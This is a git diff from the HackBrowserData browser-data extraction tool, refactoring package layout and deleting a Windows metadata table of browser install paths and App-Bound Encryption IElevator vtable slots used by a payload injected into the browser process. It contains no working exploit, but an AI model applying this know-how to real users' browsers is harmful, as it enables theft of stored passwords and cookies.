`"2"`, `ABEKind` ([RFC-006](006-key-retrieval-and-crypto.md)). No technique is rewritten — only the boundary is drawn. -- Add `internal/keychain` (macOS only): the login keychain handle, opened on first use and at most once per run. The macOS `v10` retriever reads through it from this phase, the Safari base when it is ported (Phase 6); today's separate password check and per-consumer keychain opens go away ([RFC-006](006-key-retrieval-and-crypto.md)). +- Add `internal/keychain` (macOS only): the login keychain handle, opened on first use and at most once per run. The macOS `v10` retriever reads through it from this phase, the Safari base when it is ported (Phase 6); today's separate password check and per-consumer keychain opens go away at the switch-over (Phase 7), once both read through it ([RFC-006](006-key-retrieval-and-crypto.md)). - Fold `utils/{winapi,winutil}` into `internal/winapi`. The ABE unit — `utils/injector` and `crypto/windows/` with its C sources, generated `bootstrap` package, and `payload` embed package, plus `Makefile.frag` — stays where it is; only its importers change. Its move to `internal/abe/` is DEFERRED ([RFC-002](002-package-layout.md)). ### Phase 4 — `snapshot` diff --git a/types/browser.go b/types/browser.go index c7b9227..f85116a 100644 --- a/types/browser.go +++ b/types/browser.go @@ -34,7 +34,7 @@ func (k BrowserKind) String() string { // BrowserConfig holds the declarative configuration for a browser installation. type BrowserConfig struct { - Key string // lookup key; doubles as the Windows ABE / winutil.Table key when WindowsABE is true + Key string // lookup key; doubles as the Windows ABE / abeTargets key when WindowsABE is true Name string // display name Kind BrowserKind // engine type KeychainLabel string // macOS Keychain account / Linux D-Bus Secret Service label; "" = none diff --git a/utils/injector/reflective_windows.go b/utils/injector/reflective_windows.go index a67a15a..b603ca0 100644 --- a/utils/injector/reflective_windows.go +++ b/utils/injector/reflective_windows.go @@ -14,7 +14,7 @@ import ( "golang.org/x/sys/windows" "github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap" - "github.com/moond4rk/hackbrowserdata/utils/winapi" + "github.com/moond4rk/hackbrowserdata/internal/winapi" ) type Reflective struct { diff --git a/utils/injector/reflective_windows_test.go b/utils/injector/reflective_windows_test.go index e6d142b..3a82382 100644 --- a/utils/injector/reflective_windows_test.go +++ b/utils/injector/reflective_windows_test.go @@ -7,7 +7,7 @@ import ( "testing" "github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap" - "github.com/moond4rk/hackbrowserdata/utils/winapi" + "github.com/moond4rk/hackbrowserdata/internal/winapi" ) // The C payload reads BootstrapParams by field offset while Go writes it as a flat byte diff --git a/utils/winutil/browser_meta_windows.go b/utils/winutil/browser_meta_windows.go deleted file mode 100644 index d261938..0000000 --- a/utils/winutil/browser_meta_windows.go +++ /dev/null @@ -1,101 +0,0 @@ -//go:build windows - -// Package winutil provides high-level Windows utilities for HackBrowserData, -// built on the low-level syscall wrappers in utils/winapi. -// -// It currently covers: -// - Browser executable resolution via registry App Paths + install-path -// fallbacks (browser_path_windows.go). -// - A single source of truth for Windows-side browser metadata: executable -// name, install fallbacks, and ABE dispatch kind (browser_meta_windows.go). -// -// The C-side counterpart — CLSID / IID / vtable-slot bytes consumed by the -// reflective payload — lives in crypto/windows/abe_native/com_iid.c and -// must stay separate: the payload runs inside the injected browser process -// with no Go runtime. -package winutil - -// ABEKind selects the App-Bound Encryption dispatch path used by the injected -// payload for this browser. DPAPI-only browsers (classic v10/v11) use ABENone; -// v20-capable Chromium forks pick a vtable slot based on which IElevator -// flavor their elevation_service exposes. -type ABEKind int - -const ( - // ABENone means this browser has no ABE path — the key retriever chain - // falls through to DPAPI for v10/v11. - ABENone ABEKind = iota - // ABEChromeBase is IElevator slot 5 (Chrome, Brave, CocCoc). - ABEChromeBase - // ABEEdge is IElevator slot 8 (Edge; prepends 3 extra interface methods). - ABEEdge - // ABEAvast is IElevator slot 13 (Avast; extended IElevator). - ABEAvast -) - -// Entry is the per-browser Windows metadata record. -// -// Key must match browser.BrowserConfig.Key for every config that sets -// WindowsABE: true, so retrievers and path resolvers share a single lookup -// identifier. CLSID/IID bytes are *not* stored here; see the package doc for why. -type Entry struct { - Key string - ExeName string - InstallFallbacks []string - ABE ABEKind -} - -// Table is the authoritative Go-side map of Windows browser metadata. -// Adding a new Chromium fork on the Go side is a single-entry edit here. -// The corresponding C-side CLSID/IID table lives in com_iid.c. -var Table = map[string]Entry{ - "chrome": { - Key: "chrome", - ExeName: "chrome.exe", - InstallFallbacks: []string{ - `%ProgramFiles%\Google\Chrome\Application\chrome.exe`, - `%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe`, - `%LocalAppData%\Google\Chrome\Application\chrome.exe`, - }, - ABE: ABEChromeBase, - }, - "chrome-beta": { - Key: "chrome-beta", - ExeName: "chrome.exe", - InstallFallbacks: []string{ - `%ProgramFiles%\Google\Chrome Beta\Application\chrome.exe`, - `%ProgramFiles(x86)%\Google\Chrome Beta\Application\chrome.exe`, - `%LocalAppData%\Google\Chrome Beta\Application\chrome.exe`, - }, - ABE: ABEChromeBase, - }, - "edge": { - Key: "edge", - ExeName: "msedge.exe", - InstallFallbacks: []string{ - `%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe`, - `%ProgramFiles%\Microsoft\Edge\Application\msedge.exe`, - }, - ABE: ABEEdge, - }, - "brave": { - Key: "brave", - ExeName: "brave.exe", - InstallFallbacks: []string{ - `%ProgramFiles%\BraveSoftware\Brave-Browser\Application\brave.exe`, - `%ProgramFiles(x86)%\BraveSoftware\Brave-Browser\Application\brave.exe`, - `%LocalAppData%\BraveSoftware\Brave-Browser\Application\brave.exe`, - }, - ABE: ABEChromeBase, - }, - "coccoc": { - Key: "coccoc", - ExeName: "browser.exe", - InstallFallbacks: []string{ - `%ProgramFiles%\CocCoc\Browser\Application\browser.exe`, - `%ProgramFiles(x86)%\CocCoc\Browser\Application\browser.exe`, - `%LocalAppData%\CocCoc\Browser\Application\browser.exe`, - }, - ABE: ABEChromeBase, - }, -}